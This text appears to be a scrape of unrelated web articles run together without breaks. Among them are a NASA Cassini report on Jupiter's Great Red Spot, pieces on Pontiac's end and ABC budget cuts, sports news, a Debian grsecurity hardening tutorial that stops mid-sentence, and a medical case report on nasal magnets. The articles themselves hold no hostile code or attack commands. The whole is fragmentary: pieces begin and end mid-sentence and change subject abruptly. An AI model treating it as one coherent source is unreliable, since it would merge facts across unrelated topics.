Well done, sir.The ruddy color of Jupiter's Great Red Spot is likely a product of simple chemicals being broken apart by sunlight in the planet's upper atmosphere, according to a new analysis of data from NASA's Cassini mission. The results contradict the other leading theory for the origin of the spot's striking color -- that the reddish chemicals come from beneath Jupiter's clouds.
The results are being presented this week by Kevin Baines, a Cassini team scientist based at NASA's Jet Propulsion Laboratory, Pasadena, California, at the American Astronomical Society's Division for Planetary Science Meeting in Tucson, Arizona.
Baines and JPL colleagues Bob Carlson and Tom Momary arrived at their conclusions using a combination of data from Cassini's December 2000 Jupiter flyby and laboratory experiments.
In the lab, the researchers blasted ammonia and acetylene gases -- chemicals known to exist on Jupiter -- with ultraviolet light, to simulate the sun's effects on these materials at the extreme heights of clouds in the Great Red Spot. This produced a reddish material, which the team compared to the Great Red Spot as observed by Cassini's Visible and Infrared Mapping Spectrometer (VIMS). They found that the light-scattering properties of their red concoction nicely matched a model of the Great Red Spot in which the red-colored material is confined to the uppermost reaches of the giant cyclone-like feature.
"Our models suggest most of the Great Red Spot is actually pretty bland in color, beneath the upper cloud layer of reddish material," said Baines. "Under the reddish'sunburn' the clouds are probably whitish or grayish." A coloring agent confined to the top of the clouds would be inconsistent with the competing theory, which posits that the spot's red color is due to upwelling chemicals formed deep beneath the visible cloud layers, he said. If red material were being transported from below, it should be present at other altitudes as well, which would make the red spot redder still.
Jupiter is composed almost entirely of hydrogen and helium, with just a sprinkling of other elements. Scientists are interested in understanding what combinations of elements are responsible for the hues seen in Jupiter's clouds, as this would provide insights into the giant planet's make-up.
Baines and colleagues initially set out to determine if the Great Red Spot's color might derive from sun-induced breakdown of a more complex molecule, ammonium hydrosulfide, which makes up one of Jupiter's main cloud layers. They quickly found that instead of a red color, the products their experiment produced were a brilliant shade of green. This surprising negative result prompted the researchers to try simple combinations of ammonia with hydrocarbons that are common at Jupiter's high altitudes. Breaking down ammonia and acetylene with ultraviolet light turned out to best fit the data collected by Cassini.
The Great Red Spot is a long-lived feature in Jupiter's atmosphere that is as wide as two earths. Jupiter possesses three main cloud layers, which occupy specific altitudes in its skies; from highest to lowest they are: ammonia, ammonium hydrosulfide and water clouds.
As for why the intense red color is seen only in the Great Red Spot and a few much smaller spots on the planet, the researchers think altitude plays a key role. "The Great Red Spot is extremely tall," Baines said. "It reaches much higher altitudes than clouds elsewhere on Jupiter."
The team thinks the spot's great heights both enable and enhance the reddening. Its winds transport ammonia ice particles higher into the atmosphere than usual, where they are exposed to much more of the sun's ultraviolet light. In addition, the vortex nature of the spot confines particles, preventing them from escaping. This causes the redness of the spot's cloud tops to increase beyond what might otherwise be expected.
Other areas of Jupiter display a mixed palette of oranges, browns and even shades of red. Baines says these are places where high, bright clouds are known to be much thinner, allowing views to depths in the atmosphere where more colorful substances exist.
The Cassini-Huygens mission is a cooperative project of NASA, the European Space Agency and the Italian Space Agency. JPL, a division of the California Institute of Technology, Pasadena, manages the mission for NASA's Science Mission Directorate in Washington. The VIMS team is based at the University of Arizona in Tucson.
More information about Cassini is available at the following sites:So, Pontiac is dead. GM pulled the plug this morning and vehicles will stop hitting showrooms by 2010.
It's no mystery why it failed. Pontiac's struggled for an image since it transformed itself from a Grandma car in the 1950s to an enthusiast's dream in the Sixties with the introduction of the GTO. From then on, it lost its way as GM tried to graft on mass-market cars around the likes of the GTO, the Firebird, the Fiero and the Solstice. Adding trucks and minivans didn't work; neither did a last-ditch attempt to turn Pontiac into a Scion clone.
GM tried in vain to make Pontiac relevant, and in truth, it might have been on the cusp of greatness with the 2009 G8 sedan. But for every great performance vehicle--G8 or GTO or Solstice--there were unforgivable concessions to dealers like these five vehicles that eventually killed Pontiac:
2002 Pontiac Aztek
Pontiac Aztek: Take a minivan, wrap it in ungainly sheetmetal meant to turn it into a sporty crossover and give it a funky-spelling name. The Aztek was a disaster from the get-go, though some GM generals were adamant that the Aztek was at least as good as the Honda Element. In its best year, the Aztek moved about 20,000 copies and dented the brand even more than the Cavalier-based Sunfire, which in retrospect was one of Pontiac's recent successes.
2004 Pontiac Montana 4dr Reg WB exterior front upper left
Pontiac Montana SV6/TranSport: Here's the platform that spawned the Aztek. The notion of a more sporty minivan was pretty questionable: Chrysler never did one for Dodge, but GM plowed ahead with the TranSport, the original space-shuttle-style minivan clad with plastic body parts. Over the years, GM's Doraville plant cranked out succeeding versions that either got Western-themed names like Montana, or alphanumerics like SV6, or both, finally caving into real sheetmetal when the minivan world had moved on to Toyota's Sienna and Honda's Odyssey. From soup to nuts, the idea was less than half-baked, and families turned elsewhere in droves.
2009 Pontiac G3
Pontiac G3: Near the end, GM decided that a rebadged Chevrolet Aveo five-door would be the ideal sop to dealers, who saw Pontiac sales shear in half in the 2000s. Canada got it first--but GM didn't get that the G3 wasn't going to spark a Scion-style party in Pontiac's U.S. showrooms. The arrival of the G3 sounded like the thud a heart-attack victim makes when they hit the floor.
2009 Pontiac Torrent
Pontiac Torrent: Maybe the most acceptable of the misguided Pontiac efforts at fielding a family vehicle, the Torrent was based on the roomy Chevrolet Equinox and offered a potent V-6 option for the 2009 model year. The problem? The Equinox itself was in need of replacement. It gets replaced for 2010, but the Torrent will be trapped in time as the brand's last-ditch effort to generate sales volume.
2010 Pontiac G8 ST
Pontiac G8 ST: The Pontiac G8 sedan--especially in GXP form--is one of the best rear-drive sedans you can buy. Making it into a "ute" pickup might work for Australia, but for America? A Pontiac pickup? Really? Our dubious pen was working overtime when GM confirmed it last year at the Chicago auto show, and was unsurprised when it was axed earlier this year. You might be able to drive one down under, but the ST checks in with history, never having sold a single copy.This article is over 4 years old
Education minister sets up change.org petition calling on ABC board to maintain operations in home state in face of budget cuts
Christopher Pyne has made a plea to the ABC not to shut down its operations in his home town.
The education minister has set up an online petition noting the ABC’s South Australian TV production unit is the last one left outside Sydney and Melbourne.
The communications minister, Malcolm Turnbull, has said the ABC budget would be cut by about 5% over five years.
It has produced the award-winning show Dream Build as well as The Cook and the Chef, Poh’s Kitchen and the Beatles’ 50th anniversary tour documentary.
“The board must reassure South Australians that the local TV production house of the ABC will remain in South Australia,” Pyne’s petition said.
Pyne told ABC radio in Adelaide that that the Peter Lewis review into the broadcaster found that cuts could be made without impacting production or content.
“So if ABC management in Ultimo decide to cut jobs and production in Adelaide it is a deliberate act of political vandalism. They know, they have the report in front of them showing them how to reduce costs.”
“Mark Scott and the board need to get out of Ultimo and go around Australia and find the place where the ABC is most popular is in regional Australia.”
Pyne dismissed questions that the government had promised no budget cuts to the ABC during the election campaign, saying that the former Labor government had required the broadcaster to undertake no efficiencies.
Media Watch reported on Monday night that 400 to 500 jobs would go at the broadcaster by the end of the year.
State versions of the 7.30 program face the axe, Lateline could be scaled back and ABC bureaux in Bangkok, New Delhi, Tokyo and New Zealand could be closed.
Pyne’s change.org petition had attracted 165 supporters at the time of writing.
The Labor frontbencher Kate Ellis, who is the member for Adelaide, also has called for the production unit to be kept open.
“The reduction of capacity for news and current affairs to be generated from South Australia will mean our state’s voice will be lost amongst the loud chatter of the larger eastern states,” she said.
The ABC also faces revolt over the proposed axing of local television production in South Australia and the scrapping of local editions of 7.30.
South Australian independent senator Senator Nick Xenophon plans to introduce a bill to strengthen the national broadcaster’s charter to guarantee local and regional content next week.
The draft would add a section requiring the ABC “to have a distinct and discernible presence in each state and territory, across all broadcast platforms, including but not limited to news, current affairs, and investigative and regional reporting, that are produced in, of, for and by that state or territory”
Xenophon wrote to ABC chairman James Spigelman and managing director Mark Scott several times in September and last month, objecting to rumoured cuts. He met with them both on 22 September.
In one email, he quoted the ABC’s charter requiring the broadcaster to “contribute to a sense of national identity … and reflect the cultural diversity of the Australian community”.
He said: “The ABC’s track record of centralising programming, staff numbers and editorial control in Sydney seems to be undermining its charter obligations.”
ABC production in South Australia was the “last man standing” – the only unit outside Sydney and Melbourne. It was currently producing a seven-part series, Life in Ruins, about renovations of historic homes.
Xenophon said the role of state 7.30 programs on Friday nights in keeping politicians and institutions accountable “cannot be underestimated”. The Monday to Thursday national 7.30 had screened only 10 stories this year from South Australia, 2% of output, he said.
The premier of Victoria, Denis Napthine, has also called on the ABC to maintain local editions of 7.30, as has the chief minister of the ACT, Kate Gallagher. Late last month, the Tasmanian lower house unanimously voted in a matter of public importance that the local program be retained.
Xenophon said the ABC’s annual report found that NSW now accounts for more than half (51%) of the ABC’s 4,697 full time equivalent jobs. South Australia’s stake saw the sharpest drop, from 8% to 6.9%.
He defended the ratings of the local, saying they were well supported given that Friday nights traditionally had fewer viewers.
“In contrast, the ratings for the News 24 channel remain very modest and far less than those enjoyed by state and territory 7.30 programs.”
Spigelman replied on 10 September that “I can assure you the board and management team understand the responsibilities of the ABC to tell stories from across the nation, to provide quality news and current affairs and to provide strong coverage from the regions.”WASHINGTON (Reuters) - Verizon Communications Inc (VZ.N) said on Tuesday it will pay $17.7 million to resolve a probe by U.S. regulators and the Justice Department into potential payment violations related to a federal school broadband program.
The Verizon store in Superior, Colorado, U.S., July 27, 2017. REUTERS/Rick Wilking - RC129DD3F5E0
The program, called E-rate, is a federal government-backed scheme that provides subsidized broadband and internet service for schools and libraries in the United States and is funded through monthly fees on phone service.
The Federal Communications Commission, the U.S. telecoms regulator, and the Department of Justice said Verizon had invoiced the FCC for consultant charges that were not allowed under an E-rate contract it had to supply the New York City Department of Education with its services.
Verizon said on Tuesday that “today’s settlements fairly resolve years of work by Verizon and the government to return funding to the program.”
The company said that it was a victim of fraud, citing the conviction of a former New York City Department of Education consultant, Willard Lanham.
Lanham was sentenced to 37 months in prison in 2012.
“Like the New York school system, Verizon was a victim of that fraud and five years ago helped to convict Lanham,” the company said.
Government documents said the fraud may have lasted from as long as 2002 through 2008, but Verizon was only charged in a federal civil complaint with filing a fraudulent bill in 2006.
The government cited a New York City Department of Education investigative report that said Lanham was responsible for significant fraud, creating a subcontracting scheme through which he billed millions of dollars to the city school department for consultants he employed without the city or Verizon’s knowledge.
Lanham “manipulated bills Verizon sent” to the department, the FCC said.
In December 2015, the department agreed to pay $3 million to resolve the FCC investigation. The department, which has approximately 1.1 million students in over 1,800 schools, has received approximately $1.3 billion in E-rate program payments since 1998.
As part of the FCC settlement, Verizon will operate under a compliance plan for three years. It also agreed to surrender any appeal rights to more than $100 million in E-rate subsidy payments.
FCC chairman Ajit Pai said in a statement that the settlement was an “important measure that both enforces our rules and restores critical taxpayer dollars” to the Universal Service Fund, a government fund that provides subsidies for telecommunications services.
Democratic FCC Commissioner Mignon Clyburn said in a statement the incident caused “over $50 million of harm to the Universal Service Fund” and said the FCC settled “for a fraction of that harm.”Retired neurosurgeon Ben Carson said Tuesday he’s “not particularly surprised” by FBI Director James Comey’s announcement that the department is not recommending criminal charges against Hillary Clinton, but that the matter surrounding Mrs. Clinton’s private email setup still raises questions about her judgment.
“I think the thing to take away from this is that he was extremely critical of her judgment, and stated that a high government official should know better,” Mr. Carson said on MSNBC of Mr. Comey’s announcement.
“She’s not only a high government official — she’s the secretary of state and has been a senator twice,” said Mr. Carson, a former 2016 GOP presidential candidate who has endorsed Donald Trump.
“So the real question is: are Americans willing to place everything in the hands of somebody with such poor judgment?” Mr. Carson said.
Mr. Comey said Tuesday said that while Mrs. Clinton was reckless in how she handled her private server and email, no criminal charges would be appropriate in the case.
Mr. Carson said he thinks the issue of whether there’s criminality is secondary to the issue of “extraordinarily poor judgment.”
“And this is not the first instance where that has occurred,” he said.
“Judgment issues are the ones that are the most important — the character issues,” Mr. Carson said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.The Atlanta Braves added starting pitching depth Thursday, acquiring right-hander Trevor Cahill from the Arizona Diamondbacks in exchange for minor-league outfielder Josh Elander.
Atlanta will be responsible for $5.5 million of the $12 million Cahill is owed this season, according to Mark Bowman of MLB.com.
Cahill, a 2010 All-Star, is coming off the worst season of his six-year career. After working almost exclusively as a starter for his first five big-league seasons, Cahill shuffled between the rotation and bullpen, posting a 5.61 ERA and 1.60 WHIP over 32 appearances (17 starts). He walked an alarming 11 percent of the batters he faced - the sixth-highest rate in baseball among pitchers who threw a minimum of 110 innings - but also posted a career-best 21-percent strikeout rate.
Atlanta is looking for a rebound at a reduced cost. Cahill posted a 3.72 ERA and averaged 188 innings from 2010-13, while his 57.3-percent ground ball rate ranked fifth among qualified starters over that stretch.
"We thought he was a good buy-low type of candidate," Braves assistant general manager John Coppolella told reporters. "He's still young and has good stuff. We saw him four different times this spring. We think there should be some regression to the mean, based on what he has done in the past."
Cahill, who has a $13-million club option in 2016 ($300,000 buyout), is expected to land a spot in Atlanta's rotation. He had a 3.60 ERA with 10 strikeouts and five walks in 10 innings during spring training.
The deal saves the rebuilding Diamondbacks some money and opens up a rotation spot for the team's No.1 prospect, according to Baseball America, Archie Bradley.
Elander, 24, is a career.275/.356/.435 hitter over parts of three minor-league seasons.Tongan fans began marching up Queen St in central Auckland around 6pm on Sunday.
Tongan league fans are protesting in central Auckland against what they say was "disgraceful biased refereeing" in the world cup semifinal.
Several hundred people began marching up Queen St around 6pm on Sunday, escorted by police as they chanted and waved Tongan flags.
In addition to the march, cars and motorcycles displaying Tongan flags looped around city blocks tooting their horns repeatedly.
SCREENSHOT Tongan fans believe England's victory in the Rugby League World Cup semifinal was a "stolen win".
More than 2000 people previously said they would be attending, according to a Facebook event page called "Protest for Mate Ma'a Tonga to Get a Review".
READ MORE:
* Cordner: England 'complete' side
* 21 arrested after RLWC semifinal
* Ref's boss defends Fifita try call
* 27,000 sign Tonga try petition
* Did ref deny Tonga a final spot?
"We have decided to lodge a protest," the event description said.
"We will be starting the march at the wharf going to Aotea Square and finishing off at the Grand Mercure Hotel.
"Wear all red, bring your Tongan flags and let's create history one last time."
GETTY IMAGES Andrew Fifita of Tonga reacts after his try attempt in the final seconds of the match was disallowed.
Their anger stems from what they believe was a controversial call by the referee in the semifinal in Auckland on Saturday.
Tonga went down to England 18-20 in a nail-biting match, and fans believe their team was cheated of victory.
GETTY IMAGES Rugby League World Cup referees boss Tony Archer said referee Matt Cecchin made the right call.
With seconds on the clock, Tongan player Andrew Fifita lost control of the ball amid a tackle from England's Elliott Whitehead, before regaining it and rolling over the tryline.
Fifita's try attempt was disallowed, dashing Tonga's hopes of staging a late comeback and going through to the final.
Passionate Mate Ma’a #Tonga fans marching in Auckland in protest at the decision to not to review last night’s try. 🇹🇴 #RugbyLeagueWorldCup pic.twitter.com/X4zWFWpx8P — Michael Morrah (@MichaelMorrah) November 26, 2017
Tongan fans reacted with anger, claiming England's victory was a "stolen win".
As at Sunday evening, more than 48,000 people had signed a change.org petition started by Vai'Ana Ta'ai calling for a review of the referee's call.
"To referees, it is just another day of work, but for the Tongan players, it is heart, soul and their world," Ta'ai wrote.
"The game was not a fair one, in fact, England knew they had not won.
"Referees need to be held accountable for their choices, and there needs to be a legal process to ensure games are scored with fairness and integrity - like the old days."
The #tonga fans were the stars of #RLWC2017 shame the #protest for #notry #badcall is now overshadowing the good vibe and achievements of #MateMaaTonga #MMT not the first or last time a ref made a unpopular call. — James McClurg (@jimimac_alf) November 26, 2017
Tonga coach Kristian Woolf said he was dumbfounded referee Matt Cecchin did not refer the passage of play to the video referee, but Rugby League World Cup referees boss Tony Archer said Cecchin had made the right call.
"It's a loose carry, knock on, the referee called it on field," Archer said.
Archer added there was nothing to suggest Whitehead had attempted to steal the ball from Fifita.
Whitehead's hand momentarily touched the ball during the tackle, however Archer said that did not make it a strip.
"There needs to be a deliberate intention to steal the ball, he's affecting the tackle as his arm slides down the attacker's arm," he said.
Archer said even if the decision had been referred to a video referee, it would not have changed the outcome of the match.
"It would have been a no-try because the decision was correct."Hardening Debian for the Desktop Using Grsecurity
I recently built a desktop system that I think is reasonably secure. It’s running Debian sid, also known as “unstable” — though in the Debian desktop world that just means you get to use the newest software. It’s just about as stable as “stable”, and besides, #yolo. It’s also running a grsecurity-patched Linux kernel and PaX, technologies that make Linux way more secure. Grsecurity protects you against memory corruption attacks, such as buffer overflows.
Last October I traveled to Moscow and interviewed Edward Snowden. Here’s one of the things he told me:
“Something that we haven’t seen that we need to see is a greater hardening of the overall kernels of every operating system through things like grsecurity, but unfortunately there’s a big usability gap between the capabilities that are out there, that are possible, and what is attainable for the average user.”
Since I just set up Debian with a grsec kernel, I figured I’d write a tutorial for how to do it. It’s still a long way before the average user can take advantage of this stuff – it breaks everything, and the user needs to learn how to diagnose and fix it themselves – but I think that it’s well within the capabilities of Linux nerds who are comfortable using a terminal. You can probably also follow along no matter what Linux distribution you’re using. Also, I’m fairly new to grsecurity myself, so if you have tips or suggestions, or if I got something wrong, please post in the comments.
Grsecurity can be used with very little configuration. Just by baking it into your kernel, entire classes of exploits will fail to work against you, but those same exploits will succeed against someone running a vanilla Linux kernel. Grsecurity also lets you enforce access controls, but that’s outside the scope of this article. Just running a grsec kernel gives you a lot of protection for free.
First, I’m going to explain a little bit about what grsec is and how it protects you. Then I’m going to install Debian and upgrade it to sid. Then I’m going to download the Linux source code and the grsecurity patch, verify digital signatures, patch the Linux kernel, and finally compile it. (If you’ve never compiled the Linux kernel before, you’re in for a treat!) Then I’m going to show you how to use paxctl to turn off certain PaX protections on specific binaries so that they can run without crashing. And finally, I’m going to briefly show you how to troubleshoot grsec and PaX, so you can make software work that would otherwise crash, all on your own.
How does grsecurity make Linux more secure?
Memory corruption attacks normally work something like this: The target accepts malicious input into a program (maybe they load a GIF in an image viewing program, or a document in LibreOffice, or a malformed PGP public key in GnuPG). This input includes an exploit – some code that triggers a security bug in whatever software it’s targeting – as well as a small block of malicious code called shellcode. When the buggy software parses the input, the exploit takes over the flow of execution and jumps into the attacker’s shellcode. Shellcode can do many different things, but it commonly gives the attacker a remote shell – basically, letting them run commands on the victim’s computer (with the permissions of the user who was running the program that got hacked).
Grsecurity protects you by being extremely strict about which parts of memory are allowed to get executed. If it sees a program try to execute some code in the wrong part of memory, it kills the process, which will thwart attacks. So if a target using a grsec-patched kernel loads a malicious PDF in a vulnerable PDF reader, and it exploits a bug and tries to jump to shellcode, grsec will kill the process and log this to /var/log/syslog.
Unfortunately, grsec doesn’t know which programs are supposed to jump into user-loaded memory – it turns out quite a few programs do. For example, web browsers are able to load websites that include JavaScript. In order to improve performance, they convert the JavaScript code to machine code and then jump into it to execute it (this is called Just In Time compilation, or JIT). When grsec notices this, it will kill your web browser process.
You can still run a web browser with grsec, but you need to set a PaX flag (more on this below) to disable memory protections on that specific executable binary. This means your browser won’t immediately crash when you open it, but it also means that if an attacker is able to exploit a bug in it, they may be able to succeed in running their shellcode. Likewise, you often need to disable memory protection on programming language interpreters, such as /usr/bin/python2, /usr/bin/python3, and /usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java.
So it’s not perfect. But even with disabling memory protections on specific binaries, you still get a lot of protection. Most programs work fine without having to disable any protections, and grsec makes it extremely hard for an attacker to escalate privileges. So if someone does manage to hack your web browser and get a shell, grsec will probably prevent them from getting root. Or if you’re a web developer and are running Apache with an old vulnerable WordPress on it that someone on your wifi notices and hacks, grsec will probably prevent them from accessing any data that isn’t readable from the www-data user, even if they come armed with Linux privilege escalation exploits.
Installing Debian sid
Debian doesn’t release sid installation images. Instead you need to install an earlier version of Debian and upgrade to sid. So go and grab the latest stable netinst iso, probably the amd64 one.
You also may want to verify the signature of the iso. As of this writing, the latest stable is 8.2.0, and the iso URL is http://cdimage.debian.org/debian-cd/8.2.0/amd64/iso-cd/debian-8.2.0-amd64-netinst.iso. If you drop the filename part of the path and just load http://cdimage.debian.org/debian-cd/8.2.0/amd64/iso-cd/, you’ll see several files to downloading, including SHA512 and SHA512.sign. Download both of those. The SHA512 file contains SHA512 checksums of all of the isos for that version of Debian, including debian-8.2.0-amd64-netinst.iso.
Make sure you have the key that Debian uses to sign their releases. You can find its fingerprint here. For Debian 8, the signing key fingerprint is DF9B 9C49 EAA9 2984 3258 9D76 DA87 E80D 6294 BE9B (as of the time of writing), and you can get the key by running this:
$ gpg --recv-keys DF9B9C49EAA9298432589D76DA87E80D6294BE9B
Now you can verify the signature:
$ gpg --verify SHA512SUMS.sign gpg: assuming signed data in 'SHA512SUMS' gpg: Signature made Fri 11 Sep 2015 08:13:34 AM PDT using RSA key ID 6294BE9B gpg: Good signature from "Debian CD signing key <debian-cd@lists.debian.org>" [unknown] gpg: WARNING: This key is not certified with a trusted signature! gpg: There is no indication that the signature belongs to the owner. Primary key fingerprint: DF9B 9C49 EAA9 2984 3258 9D76 DA87 E80D 6294 BE9B
Make sure it says Good signature from "Debian CD signing key <debian-cd@lists.debian.org>". Great! Now, take a SHA512 checksum of the iso (note that your checksum might be different, if you’ve downloaded a newer version of Debian than I did):
$ sha512sum debian-8.2.0-amd64-netinst.iso 923cd1bfbfa62d78aecaa92d919ee54a95c8fca834b427502847228cf06155e7243875f59279b0bf6bfd1b579cbe2f1bc80528a265dafddee9a9d2a197ef3806 debian-8.2.0-amd64-netinst.iso
Now let’s check to see if that checksum is in the SHA512 file.
$ cat SHA512SUMS | grep 923cd1bfbfa62d78aecaa92d919ee54a95c8fca834b427502847228cf06155e7243875f59279b0bf6bfd1b579cbe2f1bc80528a265dafddee9a9d2a197ef3806 923cd1bfbfa62d78aecaa92d919ee54a95c8fca834b427502847228cf06155e7243875f59279b0bf6bfd1b579cbe2f1bc80528a265dafddee9a9d2a197ef3806 debian-8.2.0-amd64-netinst.iso
Great, the signed SHA512 file shows the same checksum for debian-8.2.0-amd64-netinst.iso that I got manually. This means that I’ve confirmed that the Debian netinst iso I downloaded hasn’t been tampered with.
Finally, burn the iso to a CD or dd it to a USB stick, boot to it, and install Debian.
Note that when it asks for you to come up with a root password, you can leave it blank. If you do this, then Debian will make your user a sudoer. This might be more familiar to you if you’re used to Ubuntu or Mac OS X.
When you get to the “Partition disks” screen, choose “Guided – use entire disk and set up encrypted LVM” in order to set up full disk encryption. You’ll need to come up with a strong passphrase.
When you get to the “Software selection” screen, make sure to select GNOME as your desktop environment. That’s what I’m using, and this tutorial includes setting a PaX flag to make GNOME work.
Reboot into your freshly installed Debian, mount your encrypted hard drive, and login. Now it’s time to upgrade from stable to sid. Open a terminal and edit the /etc/apt/source.list file as root.
It starts out looking like this:
# # deb cdrom:[Debian GNU/Linux 8.2.0 _Jessie_ - Official amd64 NETINST Binary-1 20150906-11:09]/ jessie main #deb cdrom:[Debian GNU/Linux 8.2.0 _Jessie_ - Official amd64 NETINST Binary-1 20150906-11:09]/ jessie main deb http://ftp.us.debian.org/debian/ jessie main deb-src http://ftp.us.debian.org/debian/ jessie main deb http://security.debian.org/ jessie/updates main deb-src http://security.debian.org/ jessie/updates main # jessie-updates, previously known as 'volatile' deb http://ftp.us.debian.org/debian/ jessie-updates main deb-src http://ftp.us.debian.org/debian/ jessie-updates main
We can delete the cdrom comments, and also we can delete the security and updates repositories. Since we’re updating to sid, we get all of the latest versions of all packages, which already includes security updates. And finally, change the “jessie” to “sid”, so that the result file looks like this:
deb http://ftp.us.debian.org/debian/ sid main deb-src http://ftp.us.debian.org/debian/ sid main
Save and exit. Now, update all of the software. This will take awhile. And finally, reboot into sid.
$ sudo apt-get update $ sudo apt-get dist-upgrade $ sudo apt-get autoremove $ sudo reboot
Compiling the grsec-patched Linux kernel
The Debian wiki’s grsecurity page implies that linux-grsec is packaged in sid already, but it doesn’t seem available yet. In the future this will be much simpler, but for now we can compile the Linux kernel ourselves.
Update: Grsecurity is indeed packaged in sid. The package name (right now) is linux-image-4.3.0-1-grsec-amd64, so you can apt-get install that instead of compiling it yourself if you want.
Start by installing dependencies:
$ sudo apt-get install libncurses5-dev build-essential fakeroot kernel-package gcc-5 gcc-5-plugin-dev make
Download the public keys that are used to sign the Linux kernel source as well as the grsecurity patch. You can find the latest Linux kernel signing key here, and you you can find the latest grsecurity signing key at the bottom of this page.
At the time of writing, here’s how to download the two signing keys:
$ gpg --recv-keys 647F28654894E3BD457199BE38DBBDC86092693E $ gpg --recv-keys DE9452CE46F42094907F108B44D1C0F82525FE49
Now download the Linux source code and the grsecurity patch. You’re going to need to download the latest stable version (not any of the longterm versions), because the grsecurity project only releases that version publicly. Because these versions numbers change constantly, I’m not going to provide direct links.
Download the latest stable Linux source, as well as the associated PGP signature file, from kernel.org. The files I’m downloading are called linux-4.3.3.tar.xz and linux-4.3.3.tar.sign.
Download the corresponding grsecurity patch, as well as the associated PGP |
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It was an intense few months (for me). When I wasn’t playing, wasn’t getting game-time, wasn’t happy…I noticed all of that on my international trips. And I had to make big decisions. But I’m happy I took it into my own hands and made the decision that I needed to leave the club.”
O’Sullivan has played over 50 times for the senior team and it’s forever in her thoughts. Her main motivation for seeking a move to a different side was the effect it was having on her performances for Ireland. After that summer friendly against Scotland, she carried around the guilt of not having been 100% and told herself that it wouldn’t happen again.
“Your confidence will go when you’re not playing and you won’t feel the same at all, ” she says.
Source: Tommy Dickson; ©INPHO/Tommy Dickson/INPHO
“But I always knew I work very hard, that there’s talent there and that if I kept pushing myself then I was going to get a club, that I’d go to a team that I was going to be able to play for. It just all depends on what team you’re at and whether the coach likes you or not or whether he likes another player in front of you. He (Morales) just didn’t really give me a look-in at Houston and that’s being honest. In the end I just said, ‘I’m going to stand up for myself here – I need to do better for myself’.
And I kept thinking about the national team, really. That’s the one thing that pushed me to make the move. When I was back playing against Scotland I knew I didn’t give a good enough performance and felt I had let people down. I was like, ‘We have qualifiers coming up. This was a friendly today so I can put it to one side but I need to be 100% fit for these qualifiers’. And right now I feel I’m getting my confidence back. I’m getting minutes. I feel fitter, sharper. And I feel happier.”
At North Carolina, she’s part of the best team in the league. When she signed, coach Paul Riley was emphatic in his praise.
She’s an excellent footballer with superb soccer IQ, soft feet and a Rolls Royce engine,” he said.”Her attributes fit our identity really well.”
With hindsight, it’s been a smart move from O’Sullivan. But, as she’s quick to point out, there were no guarantees. And, as she only knows too well, it’s an unforgiving, unpredictable and volatile game.
“We’re top of the table, we’ve clinched a play-off spot, I’m getting minutes. It’s been great. The change has been really good and it’s benefitted me. But I didn’t know what I was in for,” she says.
“I could’ve come to North Carolina and have not gotten any minutes at all. It was a risk for me going to another American team. I could’ve got a lot of minutes or I could’ve been sitting on the bench for the entire season. It’s worked out for me so far. I’ve done well. I’ve settled into the team, settled into the group. But I’ve just got to keep pushing, keep working hard, get more minutes and look towards next season as well.”
O’Sullivan gets a break from club commitments for a while. She’s been living for World Cup 2019 qualifiers for the last few months and they’ve finally arrived.
Drawn in Group 3, the Republic of Ireland will face heavyweights Norway and newly-crowned Euro 2017 winners the Netherlands but their first assignment pits them against Northern Ireland.
The teams clash in Lurgan on Tuesday night.
Back in April, in the midst of a stand-off with their own governing body, many wondered what the future looked like for Ireland’s women’s football team.
But, it’s very much a new era.
Iconic goalkeeper Emma Byrne has retired, 21-year-old Katie McCabe is the team’s new captain and this will be Colin Bell’s first qualification campaign in charge.
And, added to that, there’s a renewed, reborn Denise O’Sullivan chomping at the bit too.
“Since Colin came in it’s been a new start,” she says.
“We went to the Cyprus Cup with him and there was a different atmosphere around the group. But that’s always the case: when there’s someone new you want to impress them. There’s been a really good buzz around the squad and everyone’s excited for the qualifiers and I think we’ll do well. The games we’ve played together under Colin we’ve done well. I’m just looking forward to it now.”
Subscribe to The42 podcasts here:NH State Rep Who Reportedly Created Reddit’s Misogyny Forum Resigns
Robert Fisher's exit comes just hours after GOP lawmakers declined to take action against him.
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Robert Fisher, the New Hampshire state representative who reportedly created Reddit’s women-hating, men’s rights forum The Red Pill, has resigned.
Just hours after a House committee voted along party lines to take no action against the 31-year-old Republican lawmaker, Fisher submitted his resignation to Speaker Shawn Jasper.
Speaker Jasper has received the resignation of Rep. Robert Fisher. #nhhouseofreps #nhpolitics — New Hampshire House (@NHHouseofReps) May 17, 2017
Last month, The Daily Beast linked Fisher to an online alias responsible for creating the misogynist site in 2012. Almost immediately following The Daily Beast’s requests for comment, the two Reddit accounts linked to Fisher were wiped, along with four blogs used to connect them. In a follow-up story, The Daily Beast reported that another account linked to Fisher posted that all feminists want to be raped.Perception of U.S. race relations have reached a 20 year low after several high-profile deaths of black Americans at the hands of police officers, according to data from a new Wall Street Journal/NBC News poll.
Only 34% of Americans said race relations in the country are fairly good or very good, the lowest since October 1995, shortly after the O.J. Simpson trial concluded in an acquittal for the former football star.
The inauguration of Barack Obama as the country’s first black president saw Americans’ view of race relations reach a high of 77% in January 2009. However, the Wall Street Journal notes, there has been a precipitous decline in Americans’ perceptions of race relations since July 2013, when George Zimmerman being acquitted of shooting and killing Trayvon Martin—and that dim view of relations is shared across racial lines. Just 33% of whites and 38% of Hispanics view race relations as very or fairly good, with only 26% of African Americans saying the same.
The WSJ/NBC poll surveyed 1,000 adults and was conducted Dec. 6-9 with a margin of error of plus or minus 3.1 points.
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[WSJ]
Contact us at editors@time.com.An 11-year-old boy was brought to the emergency department 6 hours after he had inserted button magnets in both sides of his nose. He had been unable to remove the magnets and presented with epistaxis and severe pain. Examination of the nasal cavity showed mucus and crusted blood. Radiography of the face revealed two disk-shaped foreign bodies at the same level across the nasal septum (Panel A shows the coronal view, and Panel B the sagittal view). Attracting nasal magnets necessitate emergency removal because they can compress the mucosa of the nasal septum, leading to necrosis and septal perforation. Attempts to remove the magnets in the emergency department were unsuccessful because of intense adherence, and the patient was taken to the operating room for removal of the magnets while he was under general anesthesia. The magnets were elevated off the nasal septum with the help of household magnets that were placed externally on both sides of the nose. The magnets had caused compression and mucoperichondrial erosion of the septal cartilage. Adhesion barriers were placed over the traumatized tissue surfaces, and splints were applied for 10 days. At follow-up 6 months later, the previously exposed cartilage was covered by healthy nasal mucosa.Perched on a sand bank in Tomales Bay, CA, the ship nicknamed the “S.S. Point Reyes” has sat for a great number of years, left to rot and decay naturally. The exact number of years it’s been there is something of a local secret, adding to the mystery of the wreck, which has been a significant local tourist attraction.
